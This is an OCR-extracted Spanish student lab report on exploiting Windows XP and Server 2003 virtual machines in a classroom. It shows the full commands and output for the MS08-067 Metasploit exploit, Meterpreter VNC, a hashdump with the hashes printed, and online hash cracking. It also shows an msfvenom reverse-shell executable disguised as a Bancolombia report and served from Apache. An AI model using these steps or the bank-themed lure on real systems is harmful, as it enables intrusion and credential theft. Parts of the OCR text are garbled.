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Introduccion
El presente informe tiene como finalidad documentar detalladamente el proceso mediante
el cual se llevo a cabo la identificacion, analisis y explotacion de vulnerabilidades en una
maquina virtual vulnerable , utilizando herramientas como meterpreter, dentro del entorno de red
previamente configurado bajo VirtualBox con adaptadores NAT. Este ejercicio corresponde a la
practica asignada por el docente Rafal S Morales como parte del desarrollo de competencias en
auditoria de seguridad informatica, y fue realizado en un entorno académico controlado y con

fines exclusivamente educativos.

Dentro de este contexto, también se busca demostrar la correcta aplicacion de conceptos
clave de la ciberseguridad ofensiva, como son el reconocimiento activo de servicios, la
enumeracion de versiones, la busqueda de exploits conocidos, y la ejecucion de payloads
interactivos para obtener control sobre el sistemas objetivo. Las técnicas desarrolladas estan
alineadas con los lineamientos éticos del hacking de penetracion, y se basan en las instrucciones
proporcionadas por el docente en sesiones anteriores, asi como en la documentacion técnica de

las herramientas empleadas.
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Alcance
El informe cubre un periodo de trabajo de cuatro dias, iniciando el jueves 28 agosto de
2025 y extendiéndose hasta el miércoles 6 de agosto de 2025, finalizando el jueves 7 de agosto a
las 9:00 a. m., momento limite establecido para la entrega oficial del documento. Durante este
tiempo se realiz6 la configuracion de las maquinas virtuales, se ejecutaron las pruebas
correspondientes, se recopilaron evidencias (capturas de pantalla, salidas de comandos,
configuraciones relevantes) y se sistematiz6 la informacion en el presente informe, con el fin de

dejar constancia del procedimiento y servir como insumo de estudio para evaluaciones futuras.



11

1. Objetivos
1.1.General
Realizar una prueba de penetracion controlada sobre una maquina virtual de XP,
Windows server 2003 y una distro de Linux , utilizando herramientas de analisis y explotacion
como Nmap y Metasploit Framework entre otras, con el fin de identificar y documentar

vulnerabilidades explotables en un entorno académico simulado.

1.2.Especificos

e Ejecutar escancos de red mediante Nmap para descubrir hosts activos y obtener
informacion detallada sobre los servicios y versiones disponibles en las maquina
victimas.

e Identificar posibles vulnerabilidades presentes en los servicios detectados,
mediante el uso de herramientas como payload y los médulos incorporados en
Metasploit Framework.

e Configurar y utilizar correctamente modulos de explotacion en Metasploit para
ejecutar payloads que permitan tomar control de los servicios vulnerables en la
maquina victima.

e Documentar paso a paso el proceso realizado, incluyendo evidencias como
comandos ejecutados, resultados obtenidos y capturas de pantalla que respalden

los hallazgos técnicos.
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2. Planteamiento Del Problema

En un entorno cada vez mas digitalizado e interconectado, las organizaciones,
instituciones educativas y usuarios particulares dependen en gran medida de sistemas
informaticos que ofrecen multiples servicios en red. Esta creciente dependencia ha traido consigo
una expansion de la superficie de ataque, es decir, el conjunto de puntos vulnerables por donde
un atacante podria comprometer la seguridad de un sistema. A pesar de los avances tecnologicos
en software y hardware, muchos servicios siguen presentando fallas de configuracion, versiones
obsoletas o vulnerabilidades conocidas que pueden ser explotadas facilmente si no se identifican

y mitigan a tiempo.

En el ambito educativo, uno de los principales desafios consiste en brindar a los
estudiantes oportunidades para aplicar de forma practica los conocimientos adquiridos en el aula
sobre seguridad informatica, analisis de vulnerabilidades y técnicas de explotacion. Sin embargo,
realizar practicas de hacking ético directamente sobre sistemas reales implica riesgos éticos,
legales y operacionales. Es por ello que el uso de entornos virtualizados, como Metasploitable, se

ha convertido en una herramienta fundamental para el aprendizaje responsable y seguro de estas

habilidades.

A pesar de contar con estos recursos, muchos estudiantes no comprenden con claridad la
forma adecuada de aplicar las herramientas de analisis y explotacion, ni los pasos metodoldgicos
necesarios para llevar a cabo una prueba de penetracion completa y estructurada. El
desconocimiento sobre como descubrir servicios vulnerables, identificar exploits adecuados o
gjecutar un ataque sin comprometer la estabilidad del entorno puede dificultar el proceso de

aprendizaje y limitar la comprension de los conceptos clave de ciberseguridad ofensiva.
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Este informe surge como respuesta a la necesidad de documentar de forma clara y
practica como realizar una prueba de penetracion ética sobre una maquina vulnerable, replicando
un escenario realista en un entorno académico controlado. En este caso, se hace uso de
herramientas ampliamente reconocidas como Nmap, para el reconocimiento activo de la red, y
Metasploit Framework, para la explotacion de vulnerabilidades conocidas, con el fin de
fortalecer las competencias técnicas del estudiante, mejorar su capacidad de analisis y prepararlo
adecuadamente para situaciones practicas que puedan presentarse tanto en el entorno académico

como en el profesional.
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3. Capitulo 1: Reconocimiento y Explotacion de Servicios Vulnerables maquinas virtuales
de Windows xp y Usando Nmap y Metasploit framework
En jueves 28 de la agosto de 2025, el docente Rafael S morales tuvo a bien explicarnos
el proceso de vulneracion de una serie de maquinas virtuales a través del sistema operativo Kali
Linux, un sistema mu utilizado en el ambito de la ciberseguridad. Después de terminada la
seccion, nos pidid realizar un laboratorio en donde replicaramos lo hecho en clases, este informe

detalla todo lo que realizamos en dicho laboratorio.

3.1.Paso uno: Escaneamos la red de nuestra primera victima (Windows xp)

/home/kali
| -sV 192.1.1.7

Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-02 23:39 -05
Nmap scan report for 192.1.1.7
Host is up (0.0033s latency).

: 996 closed tcp ports (reset)

STATE SERVICE VERSION

open msrpc Microsoft Windows RPC

open netbios-ssn  Microsoft Windows netbios-ssn

open microsoft-ds Microsoft Windows XP microsoft-ds

open ms-wbt-server Microsoft Terminal Services
MAC Address: 08:00:27:78:DB:69 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Service Info: 0Ss: Windows, Windows XP; CPE: cpe:/o:microsoft:windows, cpe:/o:microsoft:windows_xp

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.44 seconds

Figura 1. Escaneo Mediante Nmap

Utilizando la herramienta Nmap -Sv realizamos un escaneo a la red 192.1.1.7, esta
direccion ip pertenece a la maquina donde tenemos instalado nuestro Windows XP, hacer este

escaneo nos permite mira versiones y servicios que podeos explotar dentro de xp.
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/home/kali

Figura 2. Ingreso a la Consola de Metasploit

Utilizando el comando msfconsole en el modo super usuario o sudo su ingresamos a
nuestra consola de Metasploit, aqui es donde realizaremos todo el proceso da hacking para todas
nuestras victimas, esta herramienta nos permite utilizar distintos modulos que a su ves nos

facilitan la explotacion de vulnerabilidades.

root@kali: /home/kali root@Kkali: /var/www/html root@kali: /home/kali

#  Name Disclosure Date Rank Check Description
0  exploit/windows/smb/ms03_049_fietapi 2003-11-11 MS03-049 Microsoft Workstation Service NetAddAlternateCompute
rName Overflow
1  exploit/windows/smb/ms06_040_netapi 2006-08-08 MS06-040 Microsoft Server Service NetpwPathCanonicalize Overf
Low
\_ target: (wcscpy) Automatic (NT 4.0, 2000 SP0-SP4, XP SP0-SP1) .
\_ target: (wcscpy) Windows NT 4.0 / Windows 2000 SPO-SP4
\_ target: (wcscpy) Windows XP SP@/SP1
\_ target: (stack) Windows XP SP1 English
\_ target: (stack) Windows XP SP1 Italian
\_ target: (wcscpy) Windows 2003 SP@ . . N h
exploit/windows/smb/ms06_070_wkssvc 2006-11-14 manual MS06-070 Microsoft Workstation Service NetpManageIPCConnect O

\_ target: Automatic Targetting
\_ target: Windows 2000 SP4
\_ target: Windows XP SP0/SP1 - - . s
exploit/windows/smb/ms08_067_netapi 2008-10-28 MS08-067 Microsoft Server Service Relative Path Stack Corrupt

: Automatic Targeting

: Windows 2000 Universal

: Windows XP SP@/SP1 Universal

: Windows 2003 SP@ Universal

: Windows XP SP2 English (AlwaysOn NX)
\_ target: Windows XP SP2 English (NX)

Figura 3. Uso de Search Netapi Para ver los Posibles modulosa Utilizar

Luego de ingresar a la consola de metasploit, utilizamos el comando Search netapi al
ingresar este comando se nos muestran una serie de médulos que podemos utilizar para hacer

esta vulneracion.
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msfé > use 12
No payload configured, defaulting to windows/meterpreter/reverse_tcp

msf6 exploit( ) > l

Figura 4. Seleccionamos el Modulo

Utilizamos el comando use 12 para seleccionar el modulo con el que explotaremos esta
maqui lo que nos ingres6 al médulo Windows/smb/ms08 067 netapi desde aqui se realizara
la vulneracion de esta maquina. Luego de esto se utiliza el comando Show options que nos

mostrara la pagina que veran a continuacion.

Name Current Setting Required Description

RHOSTS The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT 445 yes The SMB service port (TCP)
SMBPIPE BROWSER yes The pipe name to use (BROWSER, SRVSVC)
Payload options (windows/meterpreter/reverse_tcp):
Name Current Setting Required Description

EXITFUNC thread Exit technique (Accepted: '', seh, thread, process, none)
LHOST 192.1.1.5 yes The listen address (an interface may be specified)
LPORT (YA yes The listen port

Exploit target:

Id Name

Automatic Targeting

View the full module info with the info, or info -d command.

msf6 exploit( ) > 1

Figura 5. Revision de lo Necesario Para Ingresar a XP

Aplicando el comando Show options analizamos que lo que se necesita para ingresar a
XP es saber el rhosts y como se dijo en algunos casos cambiar el lport. EI Rhost hace
referencias a la direccion ip de la maquina que se vulnerara y el Iport nos sera el puerto por I que

entraremos a esa maquina
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Name Current Setting Required Description

RHOSTS 192 The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT 445 The SMB service port (TCP)
SMBPIPE BROWSER The pipe name to use (BROWSER, SRVSVC)

Payload options (windows/meterpreter/reverse_tcp):

Current Setting Required Description

EXITFUNC thread Exit technique (Accepted: '', seh, thread, process, none)
LHOST 192.1.1.5 The listen address (an interface may be specified)
LPORT 4h4h The listen port

Exploit target:
Id Name

Automatic Targeting

View the full module info with the info, or info -d command.

msf6 exploit( ) >

msf6 exploit( ) > set rhost 192.1.1.7
rhost => 192.1.1.7
msf6 exploit( ) > set lport 4376
lport => 4376
msf6 exploit( ) > exploit
Started reverse TCP handler on 192.1.1.5:4376
192.1.1.7:445 - Automatically detecting the target...
/usr/share/metasploit-framework/vendor/bundle/ruby/3.3.0/gems/recog-3.1.16/1ib/recog/fingerprint/regexp
eplaced with '#' in regular expression
192.1.1.7:445 - Fingerprint: Windows XP - Service Pack 3 - lang:Spanish
192.1.1.7:445 - Selected Target: Windows XP SP3 Spanish (NX)
192.1.1.7:445 - Attempting to trigger the vulnerability...
Sending stage (177734 bytes) to 192.1.1.7
Meterpreter session 1 opened (192.1.1.5:4376 -> 192.1.1.7:1092) at 2025-09-03 00:17:21 -0500

meterpreter > [

Figura 6. Insercion del Rhosty Lport

Usando los comandos Set RHOST 192.1.1.7 y set LPORT 4376 registramos la ip de la
victima y nuestro puerto de salida para poder ingresar a la maquina victima, luego explotamos

esta vulnerabilidad lo que nos permitid ingresar a meterpreter, en este punto ya tenemos el
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dominio de la maquia victima xp.

Name Current Setting Required Description

RHOSTS  192.1.1.7 The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT 445 yes The SMB service port (TCP)
SMBPIPE BROWSER yes The pipe name to use (BROWSER, SRVSVC)

Payload options (windows/meterpreter/reverse_tcp):

Name Current Setting Required Description

EXITFUNC thread Exit technique (Accepted: '', seh, thread, process, none)
LHOST 192.1.1.5 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port

Exploit target:

Id Name

@ Automatic Targeting

View the full module info with the info info -d command.

msf6 exploit(

msf6 exploit( ) > set rhost 192.1.1.7
rhost => 192.1.1.7
) > set lport 4376

) > exploit

Started reverse TCP handler on 192.1.1.5:4376

192.1.1.7:445 - Automatically detecting the target...
/usr/share/metasploit-framework/vendor/bundle/ruby/3.3.0/gems/recog-3.1.16/1ib/recog/fingerprint/regexp
eplaced with '*' in regular expression

192.1.1.7:445 - Fingerprint: Windows XP - Service Pack 3 - lang:Spanish

192.1.1.7:445 - Selected Target: Windows XP SP3 Spanish (NX)

192.1.1.7:445 - Attempting to trigger the vulnerability...

Sending stage (177734 bytes) to 192.1.1.7

Meterpreter session 1 opened (192.1.1.5:4376 -> 192.1.1.7:1092) at 2025-09-03 00:17:21 -0500

meterpreter > ||
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meterpreter > run vnc
Creating a VNC reverse tcp stager: LHOST=192.1.1.5 LPORT=4545
Running payload handler
VNC stager executable 73802 bytes long
Uploaded the VNC agent to C:\WINDOWS\TEMP\wzqBoqSAofWbP.exe (must be deleted manually)
Executing the VNC agent with endpoint 192.1.1.5:4545...
meterpreter > VNC Server session 2 opened (192.1.1.5:4545 -> 192.1.1.7:1095) at 2025-09-03 00:22:08 -0500
Connected to RFB server, using protocol version 3.8
Enabling TightVNC protocol extensions
No authentication needed
Authentication successful
Desktop name "yeiber-e7e5fe63"
VNC server default format:
32 bits per pixel.
Least significant byte first in each pixel.
True colour: max red 255 green 255 blue 255, shift red 16 green 8 blue 0
Using default colormap which is TrueColor. Pixel format:
32 bits per pixel.
Least significant byte first in each pixel.
True colour: max red 255 green 255 blue 255, shift red 16 green 8 blue 0
Same machine: preferring raw encoding

Figura 7. Monitoreo de la Pantalla de XP Con Vnc

Utilizando el comando run vnc dentro de nuestro meterpreter permite crear una pantalla

remota donde podemos monitorear lo que haga la victima en tiempo real.
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- - Aplicaciones  Lugares 3 desep 00:23 ®6% @58% 104kB LO6KB

n TightVNC: yeiber-e7e5fe63

Archivo Editar Ver Buscar Terminal Pestanas Ayuda

) ) UTCHPRIL
root@kali: /home/kali

- C:\WINDOWS\system32\cmd.e:

MlMicrosoft Windows RP [Uersion 5.1.26001
(C> Copyright 1985-2801 Microsoft Corp.

C:\Documents and Settings\Yeco>ipconfi
“ipconfi no se reconoce como un comando interno o externo,
programa o archivo por lotes ejecutable.

C:\Documents and Settings\Yeco>ipconfig

iConf iguracién IP de Windows

Adaptador Ethernet Conexién de &rea local

Sufijo de conexidén especifica DNS : bhrouter
Direccién e : o o 09
Mascara de subred : 255.255.255.0
Puer e enlace predeterminada : 192.1.1.1

\Documents and Settings\Yeco>_

T ————
10Ege BREIGEC

Figura 8. Monitoro de Kali Linux a XP

Después de esto lo primero que se hizo fue revisar que los permisos estuvieran escalados,

para eso se ingresaron los siguientes comandos en el orden que muestran las imagenes.

YEIBER-E7ESFE63

Windows XP (5.1 Build 2600, Service Pack 3).
X86

es_ES

INICIOMS
2
x86/windows

Figura 9. Comando sysinfo

Utilizamos el comando sysinfo para revisar la informacion de nuestra maquina victima,

informacion como el nombre, lenguaje del sistema, el tipo de sistema etc.
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meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

meterpreter >

RS fetsystem
Already running as SYSTEM

meterpreter > l

Figura 10. Comandos Getuid y Getsystem

Por otro lado, utilizamos los Comandos Getuid y Getsystem simultaneamnte, el getuid
(rectangulo azul) nos muestra el usuario actual en la sesion Meterpreter, mientras que con
getsystem intentamos escalar privilegios para obtener acceso como NT

AUTHORITY\SYSTEM.

Luego de esto ejecutamos el siguiente comando

meterpreter > hashdump

[Administrador:500:34a6542eb962fe9f7584248b8d2c9f9e: 7507356c6400chad5adceef22232afb7: ¢
[Asistente de ayuda:1000:9691f07e6cT8fd79583d8d67e59e23d6: c6b980834Te38T4caB3alcc371f620e:
EREEL : 501: aad3b435b51404eeaad3bs35b51404ee : 31d6cfedd16ae931b73c59d7e@cO89CO: : @

SUPPORT_388945a0:1002: aad3b435b51404eeaad3b435b51404ee:€a19131227F1f303b0480bO66679a965: : :
Yeco:1003 :aad3b435b51404eeaad3b435b51404ee:31d6cTedd16ae931b73c59d7e0c089cO: ¢ ¢ ¢

meterpreter > ||

Figura 11. Comando Hashdump

El comando hashdump nos permitid extrae los usuarios y contraseiias de Windows
desde el archivo, si se observa detalladamente nos daremos cuenta de que debemos tenemos un
usuario llamado Yeco (Flecha naranjada) , otro llamado administrador (flecha azul)) 3 usuarios

mas con sus respectivas contrasefias, pero estas estan encriptadas.



[l % crackstation.net o7 EP A @ L B2 @
Free Password Hash Cracker

Enter up to 20 non-salted hashes, one per line:

7507356c6400cbad5adceef22232afh7
31d6cfedd16ae931b73c59d720c089c

. No soy un robot L

reCAPTCHA
Privacidad - Términos

Supports: LM, NTLM, md2, md4, mds, md5({md5_hex), md5-half, shal, sha224, sha256, sha384, sha512, ripeMD160, whirpool, MySQL 4.1+ (shal(shal_bin}),
QubesV3.1BackupDefaults

Hash Type Result

Color Codes: [GFé8ns Exact match, Yellow: Partial match, B8} Not found.

Download CrackStation's Wordlist

How CrackStation Works

CrackStation uses massive pre-computed lookup tables to crack password hashes. These tables store a mapping between the hash of a
password, and the correct password for that hash. The hash values are indexed so that it is possible to quickly search the database for a given

Q= vexXxen0oCeERA2uESE ~ o Rt
Figura 12. Pagina Para Desencriptar Contrasenas
Para desencriptar las contrasefias o los hash que obtuvimos al utilizar el comando
hashdump si bien existen algunas painas que nos permiten hacer esto, para este caso usamos la

pagina https://crackstation.net/

Este sitio web, nos permite de desencriptar nuestras contrasefias tal de administrador y de yeco

tal como se vio en la imagen anterior.


https://crackstation.net/

[System Process]

System
SMSS.exe
csrss.exe
winlogon.exe
services.exe
lsass.exe
logon.scr
svchost.exe
svchost.exe
svchost.exe
svchost.exe
alg.exe
svchost.exe
ctfmon.exe
wscntfy.exe
explorer.exe
spoolsv.exe
cmd.exe
wnanclt _exe

Session User

NT AUTHORITY\SYSTEM
NT AUTHORITY\SYSTEM
NT AUTHORITY\SYSTEM
NT AUTHORITY\SYSTEM
NT AUTHORITY\SYSTEM
NT AUTHORITY\SYSTEM

YEIBER-E7ESFE63\Yeco

NT AUTHORITY\SYSTEM

NT AUTHORITY\Servicio de red
NT AUTHORITY\SYSTEM

NT AUTHORITY\Servicio de red
NT AUTHORITY\SERVICIO LOCAL
NT AUTHORITY\SERVICIO LOCAL
YEIBER-E7ESFE63\Yeco
YEIBER-E7ESFE63\Yeco
YEIBER-E7E5FE63\Yeco

NT AUTHORITY\SYSTEM
YEIBER-E7ESFE63\Yeco
VETRFR-F7FSFFA2\VYern

B T T~ R~ I~ R~ B~ B~ T~~~ i~ i~ T~ T~ T~ I~ i~ ]

Figura 13. Comando ps
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\SystemRoot\System32\smss.exe
\?2\C: \WINDOWS\system32\csrss.exe
\22\C: \WINDOWS\system32\winlogon.exq
C:\WINDOWS\system32\services.exe
C:\WINDOWS\system32\lsass.exe
C:\WINDOWS\System32\logon.scr
C:\WINDOWS\system32\svchost.exe
C:\WINDOWS\system32\svchost.exe
C:\WINDOWS\System32\svchost.exe
C:\WINDOWS\system32\svchost.exe
C:\WINDOWS\System32\alg.exe
C:\WINDOWS\system32\svchost.exe
C:\WINDOWS\system32\ctfmon.exe
C:\WINDOWS\system32\wscntfy.exe
C:\WINDOWS\Explorer.EXE
C:\WINDOWS\system32\spoolsv.exe
C:\WINDOWS\system32\cmd.exe
C+\WTNDOWS\ svstem32\wnanclt _exe

después ejecutamos el comando ps que nos lista los procesos que se estan
corriendo en nuestra maquina y también nos muestra el tipo de permisos y la maquina donde se

estan corriendo estos procesos, € incluso nos da la ruta donde esta almacenado dicho archivo

meterpreter > shell
Process 1440 created.

Channel 2 created.
Microsoft Windows XP [Versien 5.1.2600]
(C) Copyright 1985-20@1 Microsoft Corp.

C:\WINDOWS\system32>cls
cls

C:\WINDOWS\system32>]]

Figura 14. Comando Shell

Estando aqui se uso el comando Shell que nos abre una consola del sistema operativo
directamente desde la sesion comprometida. Esto a su vez nos permito ejecutar comandos

nativos de Windows o Linux como si estuvieras en su terminal local.
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C:\WINDOWS\system32>cd..
cd..

C:\WINDOWS=>cd. .
cd..

C:"\}I

Figura 15. Comando cd..

Después que abrimos la consola con el comando Shell, corremos el comando ed.. la
funcion de este comando es movernos un carpeta atras del directorio o carpeta en la que estemos.

Para este caso especifico utilizamos este comando hasta movernos a nuestra carpeta raiz.

El volumen de la unidad C no tiene etiqueta.
ELl nemero de serie del volumen es: 5C6F-9766

Directorio de C:\

17:14 Archivos de programa
17:12 @ AUTOEXEC.BAT

17:12 0 CONFIG.SYS
17:14 <DIR> Documents and Settings
20:27 <DIR> WINDOWS

2 archivos 0 bytes

3 dirs 40.050.237.440 bytes libres

Figura 16. Uso del comando Dir

Con el comando Dir (flecha naranja) hicimos fue mostrar los directorios o carpetas
presentes en el directorio raiz de nuestra maquina virtual, luego de esto ingresamos la carpeta
Documents and Settings. Ingresamos a esta carpeta usando de nuevo el comando cd, pero sin los

dos puntos seguidos y con el nombre de la carpeta, en este caso lo que hicimos fue escribir cd

doc*
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C:\Documents and Settings>

Figura 17. Comando Cd Doc*

C:\Documents and Settings>cd Yeco

cd Yeco

C:\Documents and Settings\Yeco>dir

dir

El volumen de la unidad C no tiene etiqueta.
El nemero de serie del volumen es: 5C6F-9766

Directorio de

17:
< i I
15:
7
18:
175

C:\Documents and Settings\Yeco

14
14
56
14
08
14

<DIR>
<DIR>
<DIR>
<DIR>
<DIR>
<DIR>

0 archivos
40.050.237.440 bytes libres

6 dirs

Escritorio

Favoritos

Mene Inicio

Mis documentos
0 bytes

C:\Documents and Settings\Yeco>

Figura 18. Ingresamos al Directorio Yeco

Luego de ingresar a la carpera documents and settings y escribir el comando dir para ver

las carpetas o directorios que estan presentes en la misma, utilizamos el comando c¢d yeco aqui

lo que estamos haciendo es ingresar a la carpeta escritorio.

C:\Documents and Settings\Yeco>cd Escrx

C:\Documents and Settings\Yeco\Escritorio>dir

dir

El volumen de la unidad C no tiene etiqueta.

El nemero de serie del volumen es:

5C6F-9766

Directorio de C:\Documents and Settings\Yeco\Escritorio

01/09/2025 18:44
01/09/2025 18:44
01/09/2025 18:44
01/09/2025 15:56

<DIR>
<DIR>
<DIR>
<DIR>

0 archivos

practica_laboratorio_3
UTCH-PRIVIL

Figura 19. Comando cd Escr* Para Ingresar Al Escritorio
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Aqui cuando estamos en este directorio o carpeta se usa el comando mkdir para crear una
nueva carpeta llamada practica laboratorio 3 dentro del escritorio de la victima el comando

completo que se utilizo fue mkdir practica_laboratorio_3

practicazlab..

Figura 20.Verificacion de Que Todo S Hizo Correctamente
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4. Capitulo 2: Vulneramos de Kali a Win Server 2003
Comenzamos la vulneracion de Windows 2003 de la siguiente forma. Lo primero que se
hizo fue crear una carpeta o directorio en Kali Linux llamado Prueba laboratorio 03 utilizando

el comando mkdir Prueba_laboratorio 03 (flecha naranja) como se muestras en la siguiente

captura.

/home/kali
«dir prueba_laboratorio_03

/home/kali
cd prueba_laboratorio_03

Figura 21. Creamos el Directorio llamado Prueba_laboratorio 03

Luego de ingresamos a este directorio con utilizando c¢d Prueba laboratorio_03 luego
de esto lo siguiente que haremos es que dentro del Directorio que creamos antes y al que

posteriormente ingresamos haremos lo siguiente.

/home/kali/prueba_laboratorio_03

/home/kali/prueba_laboratorio_03
-p windows/meterpreter/reverse_tcp LHOST=192.1.1.5 LPORT=4678 -f exe > /home/kali/prueba_laboratorio_03/reporte_bancolombia.exe

[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload

No encoder specified, outputting raw payload

Payload size: 354 bytes

Final size of exe file: 73802 bytes

/home/kali/prueba_laboratorio_03

reporte_bancolombia.exe

/home/kali/prueba_laboratorio_03

Figura 22. Creamos un Payload Para Atacar Win2003
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Con el comando msfvenom -p windows/meterpreter/reverse tcp LHOST=192.1.1.5
LPORT=4678 -f exe > /home/kali/prueba_laboratorio 03/reporte_bancolombia.exe

creamos un

Archivo llamado reporte_bancolombia.exe aunque se pude crear el archivo previamente en
nuestra maquina de Kali Linux y en la carpeta de laboratorio prueba 03. Con este archivo lo que

haremos es que cuando el usuario lo ejecute nos a dara acceso directo s su maquina.

start apache2

/home/kali/prueba_laboratorio_03
= apache2 status
2 GPG\.:ICZ-)CL Vi\-C " T:IC l:‘\pCI\.:IC ;;TTF SCI vCl1i
Loaded: loaded (/usr/lib/systemd/system/apache2.service; disabled; preset: disabled)
Active: active (running) since Mon 2025-09-01 16:33:14 -05; 1 day 9h ago
Invocation: c91f3edc6e7e4fdba2e40c3137¢c38037
Docs: https://httpd.apache.org/docs/2.4/
Process: 37057 ExecStart=/usr/sbin/apachectl start (code=exited, status=0/SUCCESS)
Process: 71266 ExecReload=/usr/sbin/apachectl graceful (code=exited, status=0/SUCCESS)
Main PID: 37073 (apache2)
Tasks: 7 . (
Memory: 22.4M (peak: 36.5M)
CPU: 1.800s
CGroup: /system.slice/apache2.service

sep 01 16 33 14 ka11 systemd[l] Starting apache2 service - The Apache HTTP Server
1.

Figura 23. Iniciamos Apache

Lo siguiente es iniciar apache, con el comando sudo systemctl start apache2
(rectangulo amarillo) iniciamos nuestro servidor de apache, luego se usa el comandos

service apache status apache2 (rectdngulo morado) para mirar que todo se este



29

ejecutando como debe ser.

/home/kali/prueba_laboratorio_03
sudo mv /var/www/html/index5.html /var/www/html/index6.html

/home/kali/prueba_laboratorio_03

Figura 24. Le Cambiamos el Nombre A Nuestro Archivo Index De Apache

Lo siguiente que hicimos fue mover y cambiar el nombre a nuestro archivo index, este es
el archivo que vemos desde nuestros navegadores cuando digitamos la ip de algtin servidor.
Entonces, lo que se hizo fue cambiarle el nombre y mover el archivo con comando el comando
sudo mv /var/www/html/index5.html /var/www/html/index6.html donde se dejo de llamar

index 5 y paso a llamarse index 6.
/var/wumi/html
d /home/kali/prueba_laboratorio_03

/home/kali/prueba_laboratorio_03
cp reporte_bancolombia.exe /var/www/html/

/home/kali/prueba_laboratorio_03

reporte_bancolombia.exe

/home/kali/prueba_laboratorio_03
cd /var/wwmi/html

/var/wmi/html

index6.html index.nginx-debian.html reporte_bancolombia.exe satena.exe

/var/wwmi/html

Figura 25. Movemos Nuestro Archivo

Lo que se hizo fue aqui fue copiar con el payload reporte_bancolombia.exe desde
nuestra carpeta personal hacia el directorio del servidor web con la ruta /var/www/html, de

manera que pueda ser descargado desde el navegador de la victima.
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% win 2003 [Corriendo] - Qracle VirtualBox — (] X

Archivo  Maquina Ver Entrada Dispositivos  Ayuda

rosoft Internet Explorer (O] x|
Archivo  Edicion  Wer  Faworitos  Herramientas  Ayuda |?

@Atra’s - \‘) - D @ .(:] | ,OBquueda ‘;'\L;‘Favorltos £ ‘ fjv S, =
Dwregcwo’n@http;mgz.yw j Ir |wnculos b

=
Index of /

IName Last modified Size Description

ndexneie debianhml  2025-07-30 17:53 615
dlexe6 b 2025-07-30 17:59 10K
e 2025-05-03 01:57 72K
satenaexe 0T 629 72K

Abrir en una ventana nueva
Guardar desting como. ..

Apache/2.4.63  Imprimir destino 5 Port 80

Corkar: LI
E Modifica las propi Sopiar _l_l_l_l_ ’_ @) sitios de confianza v

Copiar acceso directo
Peqgar.

Agregar 3 Favoritos...

Propiedades

|[&] indewor 7 - BN CTWTRDOWS systemi2. . |B|© 205
@QBEE & & | =i B @ @ cTr. DERECHA

Figura 26. Descargamos el Archivo Malicioso Reporte Bancolombia

Desde el navegador de Windows server vamos e ingresamos la ip 192.1.1.7 que es la
direccion de nuestra maqui con Kali Linux y de nuestro servidor apache, de aqui descargaremos

el archivo reporte bamcolombia.exe

il Guardar como el A |

Guardar en: I@' E =zcritario ;I \.) _I" = |EE--

Mis docurmenktos

M pC

“ J Mis sitios de red

Asiskente para configuracidn de seguridad
satena.exe

Mombre:

=porte banc nbia. exe vI Guardar I
Tipo: I.&plicacién -~ I Cancelar I

i

Figura 27. Descarga de reporte_bancolombia.exe



31

B win 2003 [Corri

reporte_ban...

Figura 28. Archivo Guardado en el Escritorio de Win2003

Lo siguiente que hicimos fue ingresar a nuestra consola de metasploit tal como se muestra

a continuacion.

/home/kali

Metasploit tip: Use the 'capture' plugin to start multiple

authentication-capturing and poisoning services
u*] Starting the Metasploit Framework consolE... |

Figura 29.Consola de Metasploit

Luego que cargue nuestra consola utilizamos el comando search multi/handler este
modulo es un payload handler genérico, que utilizadomos para recibir conexiones inversas de
cargas maliciosas (como el .exe creado con msfvenom). Sirve como puente entre victima y
atacante. Lo este es el que nos permite que cada que el atacante le dé clic al archivo malicioso

que creamos , nosotros nos conectemos a su dispositivo.
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msf6 > search multi/handler

Disclosure Date Check Description

exploit/linux/local/apt_package_manager_persistence 1999-03-09 ent APT Package Manager Persistence

exploit/android/local/janus 2017-07-31 manual Android Janus APK Signature bypass
auxiliary/scanner/http/apache_mod_cgi_bash_env 2014-09-24 normal Apache mod_cgi Bash Environment Variable Injection (Shellshock) Scanner
exploit/linux/local/bash_profile_persistence 1989-06-08 normal Bash Profile Persistence
exploit/linux/local/desktop_privilege_escalation 2014-08-07 exceller

Desktop Linux Password Stealer and Privilege Escalation
\_ target: Linux x86
\_ target: Linux x86_64 : o é

exploit/multi/handler c manual Generic Payload Handler

exploit/windows/mssql/mssql_linkcrawler 2000-01-01 g Microsoft SQL Server Database Link Crawling Command Execution
exploit/windows/browser/persits_xupload_traversal 2009-09-29 e ent Persits XUpload ActiveX MakeHttpRequest Directory Traversal
exploit/linux/local/yum_package_manager_persistence 2003-12-17 excellent Yum Package Manager Persistence

Interact with a module by name or index. For example info 10, use

msf6 > ||

Figura 30. Comando Search multi/handler

El modulo que elegimos para seguir nuestras vulneraciones fue el moédulo 7 (flecha

naranjada) .

msf6 > use 74—

Using configured payload generic/shell_reverse_tcp
msf6 exploit( ) > options
Payload options (generic/shell_reverse_tcp):

Name Current Setting Required Description

LHOST The listen address (an interface may be specified)
LPORT 4444 The listen port

Exploit target:

Id Name

Wildcard Target

Figura 31. Modulo 7

Lo siguiente es usar el comando options (flecha verde) para ver que necesitamos para
poder nuestro ataque, en este caso se nos dice que necesitamos el Lhost y tal vez nos pida
cambiar el Lport (1] rectangulo amarillos los muestra). En caso tal esto no funcione lo hacemos

de la siguiente forma
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msf6 exploit( ) > set payload Qindows/&eterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf6 exploit( ) > options

Payload options (windows/meterpreter/reverse_tcp):

Name Current Setting Required Description

EXITFUNC process Exit technique (Accepted:

, seh, thread, process, none)
LHOST yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port

Exploit target:
Id Name

Wildcard Target

Con el comando payload windows/meterpreter/reverse tcp dentro de

multi/handler. Le damos options y luego registramos lo que se nos pida

msf6 exploit( ) > set LHOST 192.1.1.5
LHOST => 192.1.1.5

Figura 32. Registro del Lhosts

Con el comando set LHOST hacemos el registro de nuestra maquina atacante, en palabras

mas semillas ingresamos la ip de Kali Linux.

